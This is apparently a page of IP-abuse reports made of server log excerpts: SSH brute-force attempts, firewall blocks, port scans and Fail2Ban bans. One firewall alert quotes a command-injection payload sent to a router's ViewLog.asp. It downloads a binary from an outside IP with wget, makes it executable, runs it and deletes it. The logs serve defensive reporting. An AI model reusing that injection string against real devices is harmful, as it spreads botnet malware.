62.234.97.157 - - [28/Oct/2019:06:50:42 -0500] "POST /db.init.php HTTP/1.1" 404 
62.234.97.157 - - [28/Oct/2019:06:50:42 -0500] "POST /db_session.init.php HTTP/1
62.234.97.157 - - [28/Oct/2019:06:50:42 -0500] "POST /db__.init.php HTTP/1.1" 40
62.234.97.157 - - [28/Oct/2019:06:50:43 -0500] "POST /wp-admins.php HTTP/1.1" 40

Jul  8 05:41:21 debian-2gb-nbg1-2 kernel: \[16438281.873996\] \[UFW BLOCK\] IN=eth0 OUT= MAC=96:00:00:0e:18:f4:d2:74:7f:6e:37:e3:08:00 SRC=62.234.97.72 DST=195.201.40.59 LEN=40 TOS=0x00 PREC=0x00 TTL=48 ID=18663 PROTO=TCP SPT=13983 DPT=23 WINDOW=18671 RES=0x00 SYN URGP=0

"Remote Command Execution: Unix Command Injection - Matched Data: ;chmod found within ARGS:remote_host: ;cd /tmp;wget h://37.49.224.183/0xxx0xxxasdajshdsajhkgdja/Sa0aS.arm7;chmod 777 Sa0"

"aS.arm7;./Sa0aS.arm7;rm+-rf+Sa0aS.arm7%3b%23&remoteSubmit=Save"
"POST /cgi-bin/ViewLog.asp HTTP/1.1"  "-" "Sa0aS-owned-you"

Port scan detected on ports: 1433[TCP], 1433[TCP], 65529[TCP]

Apr 14 22:51:15 ns381471 sshd[28618]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.97.139
Apr 14 22:51:17 ns381471 sshd[28618]: Failed password for invalid user asecruc from 62.234.97.139 port 41285 ssh2

Apr 12 02:10:05 hosting sshd[14133]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.97.139  user=mysql
Apr 12 02:10:07 hosting sshd[14133]: Failed password for mysql from 62.234.97.139 port 35355 ssh2
...

Apr  8 16:04:40 plex sshd[6357]: Invalid user postgres from 62.234.97.45 port 52130

Apr  8 07:48:32 legacy sshd[31518]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.97.45
Apr  8 07:48:34 legacy sshd[31518]: Failed password for invalid user box from 62.234.97.45 port 38297 ssh2
Apr  8 07:53:00 legacy sshd[31650]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.97.45
...

Invalid user rpd from 62.234.97.139 port 52326

Apr  2 15:07:52 legacy sshd[5758]: Failed password for root from 62.234.97.139 port 32866 ssh2
Apr  2 15:09:59 legacy sshd[5843]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.97.139
Apr  2 15:10:00 legacy sshd[5843]: Failed password for invalid user smbread from 62.234.97.139 port 43378 ssh2
...

2020-04-02T11:17:49.327126abusebot-3.cloudsearch.cf sshd[30349]: Invalid user administrat\366r from 62.234.97.45 port 43692
2020-04-02T11:17:49.334480abusebot-3.cloudsearch.cf sshd[30349]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.97.45
2020-04-02T11:17:49.327126abusebot-3.cloudsearch.cf sshd[30349]: Invalid user administrat\366r from 62.234.97.45 port 43692
2020-04-02T11:17:51.587944abusebot-3.cloudsearch.cf sshd[30349]: Failed password for invalid user administrat\366r from 62.234.97.45 port 43692 ssh2
2020-04-02T11:22:56.574018abusebot-3.cloudsearch.cf sshd[30623]: Invalid user devanshu from 62.234.97.45 port 43603
2020-04-02T11:22:56.579056abusebot-3.cloudsearch.cf sshd[30623]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.97.45
2020-04-02T11:22:56.574018abusebot-3.cloudsearch.cf sshd[30623]: Invalid user devanshu from 62.234.97.45 port 43603
2020-04-02T11:22:58.978134abusebot-3.cl
...

2020-03-25T04:48:18.208000v22018076590370373 sshd[12008]: Invalid user tzila from 62.234.97.45 port 59444
2020-03-25T04:48:18.215846v22018076590370373 sshd[12008]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.97.45
2020-03-25T04:48:18.208000v22018076590370373 sshd[12008]: Invalid user tzila from 62.234.97.45 port 59444
2020-03-25T04:48:19.765095v22018076590370373 sshd[12008]: Failed password for invalid user tzila from 62.234.97.45 port 59444 ssh2
2020-03-25T04:50:18.910171v22018076590370373 sshd[31100]: Invalid user kristy from 62.234.97.45 port 42556
...

Mar 20 05:33:23 plusreed sshd[6503]: Invalid user shangzengqiang from 62.234.97.142
Mar 20 05:33:23 plusreed sshd[6503]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=62.234.97.142
Mar 20 05:33:23 plusreed sshd[6503]: Invalid user shangzengqiang from 62.234.97.142
Mar 20 05:33:25 plusreed sshd[6503]: Failed password for invalid user shangzengqiang from 62.234.97.142 port 35692 ssh2
...

2020-03-19T02:56:00.420589jannga.de sshd[31616]: Invalid user workshop from 62.234.97.139 port 60084
2020-03-19T02:56:02.343877jannga.de sshd[31616]: Failed password for invalid user workshop from 62.234.97.139 port 60084 ssh2
...

Mar 18 14:03:50 jane sshd[24720]: Failed password for root from 62.234.97.142 port 36528 ssh2
...

Dec  6 07:55:30 hpm sshd\[12428\]: Invalid user 1234567890 from 51.77.245.181
Dec  6 07:55:30 hpm sshd\[12428\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=181.ip-51-77-245.eu
Dec  6 07:55:32 hpm sshd\[12428\]: Failed password for invalid user 1234567890 from 51.77.245.181 port 45118 ssh2
Dec  6 08:00:57 hpm sshd\[12885\]: Invalid user abc123 from 51.77.245.181
Dec  6 08:00:57 hpm sshd\[12885\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=181.ip-51-77-245.eu

Triggered by Fail2Ban at Ares web server

Dec  6 17:30:09 mail sshd[24504]: Invalid user vij from 106.3.130.53
Dec  6 17:30:09 mail sshd[24504]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.3.130.53
Dec  6 17:30:09 mail sshd[24504]: Invalid user vij from 106.3.130.53
Dec  6 17:30:11 mail sshd[24504]: Failed password for invalid user vij from 106.3.130.53 port 35630 ssh2
Dec  6 17:42:52 mail sshd[11619]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.3.130.53  user=root
Dec  6 17:42:54 mail sshd[11619]: Failed password for root from 106.3.130.53 port 40496 ssh2
...

Dec  6 23:56:13 minden010 sshd[14204]: Failed password for root from 112.85.42.180 port 44184 ssh2
Dec  6 23:56:26 minden010 sshd[14204]: error: maximum authentication attempts exceeded for root from 112.85.42.180 port 44184 ssh2 [preauth]
Dec  6 23:56:32 minden010 sshd[14301]: Failed password for root from 112.85.42.180 port 8859 ssh2
...

2019-12-06 22:57:40,447 fail2ban.actions: WARNING [ssh] Ban 200.48.214.19

Dec  6 07:55:23 php1 sshd\[8633\]: Invalid user test7 from 202.72.243.198
Dec  6 07:55:23 php1 sshd\[8633\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.72.243.198
Dec  6 07:55:24 php1 sshd\[8633\]: Failed password for invalid user test7 from 202.72.243.198 port 49930 ssh2
Dec  6 08:01:58 php1 sshd\[9447\]: Invalid user fagart from 202.72.243.198
Dec  6 08:01:58 php1 sshd\[9447\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=202.72.243.198

Attempted to connect 2 times to port 23 TCP

Dec  6 23:56:15 Ubuntu-1404-trusty-64-minimal sshd\[1952\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.190.2  user=root
Dec  6 23:56:18 Ubuntu-1404-trusty-64-minimal sshd\[1952\]: Failed password for root from 222.186.190.2 port 15940 ssh2
Dec  6 23:56:20 Ubuntu-1404-trusty-64-minimal sshd\[1952\]: Failed password for root from 222.186.190.2 port 15940 ssh2
Dec  6 23:56:23 Ubuntu-1404-trusty-64-minimal sshd\[1952\]: Failed password for root from 222.186.190.2 port 15940 ssh2
Dec  6 23:56:33 Ubuntu-1404-trusty-64-minimal sshd\[2068\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.190.2  user=root

19/12/6@09:44:11: FAIL: Alarm-Intrusion address from=191.35.64.179
...

Lines containing failures of 189.59.125.42
Dec  6 14:32:08 dns01 sshd[1187]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=189.59.125.42  user=uucp
Dec  6 14:32:10 dns01 sshd[1187]: Failed password for uucp from 189.59.125.42 port 53236 ssh2
Dec  6 14:32:10 dns01 sshd[1187]: Received disconnect from 189.59.125.42 port 53236:11: Bye Bye [preauth]
Dec  6 14:32:10 dns01 sshd[1187]: Disconnected from authenticating user uucp 189.59.125.42 port 53236 [preauth]
Dec  6 14:42:36 dns01 sshd[3510]: Invalid user www from 189.59.125.42 port 58796
Dec  6 14:42:36 dns01 sshd[3510]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=189.59.125.42
Dec  6 14:42:38 dns01 sshd[3510]: Failed password for invalid user www from 189.59.125.42 port 58796 ssh2
Dec  6 14:42:38 dns01 sshd[3510]: Received disconnect from 189.59.125.42 port 58796:11: Bye Bye [preauth]
Dec  6 14:42:38 dns01 sshd[3510]: Disconnected from in........
------------------------------

Dec  6 19:48:07 mail sshd[16206]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=124.156.172.11 
Dec  6 19:48:10 mail sshd[16206]: Failed password for invalid user xdzhou from 124.156.172.11 port 55906 ssh2
Dec  6 19:54:25 mail sshd[17750]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=124.156.172.11

2019-12-06T21:21:38.113622hub.schaetter.us sshd\[10920\]: Invalid user tokuoka from 167.114.47.68 port 57982
2019-12-06T21:21:38.121872hub.schaetter.us sshd\[10920\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=ns68.cloudnuvem.com.br
2019-12-06T21:21:40.624239hub.schaetter.us sshd\[10920\]: Failed password for invalid user tokuoka from 167.114.47.68 port 57982 ssh2
2019-12-06T21:27:32.631632hub.schaetter.us sshd\[11043\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=ns68.cloudnuvem.com.br  user=root
2019-12-06T21:27:34.752658hub.schaetter.us sshd\[11043\]: Failed password for root from 167.114.47.68 port 34704 ssh2
...

SSH invalid-user multiple login try

Dec  6 23:20:20 sd-53420 sshd\[15227\]: Invalid user a from 210.183.21.48
Dec  6 23:20:20 sd-53420 sshd\[15227\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.183.21.48
Dec  6 23:20:22 sd-53420 sshd\[15227\]: Failed password for invalid user a from 210.183.21.48 port 11310 ssh2
Dec  6 23:26:24 sd-53420 sshd\[16267\]: Invalid user passwd000 from 210.183.21.48
Dec  6 23:26:24 sd-53420 sshd\[16267\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=210.183.21.48
...

Dec  6 16:07:43 flomail dovecot: imap-login: Disconnected (auth failed, 1 attempts in 4 secs): user=, method=PLAIN, rip=128.0.10.198, lip=10.140.194.78, TLS: Disconnected, session=
Dec  6 16:07:43 flomail dovecot: imap-login: Disconnected (auth failed, 1 attempts in 4 secs): user=, method=PLAIN, rip=128.0.10.198, lip=10.140.194.78, TLS, session=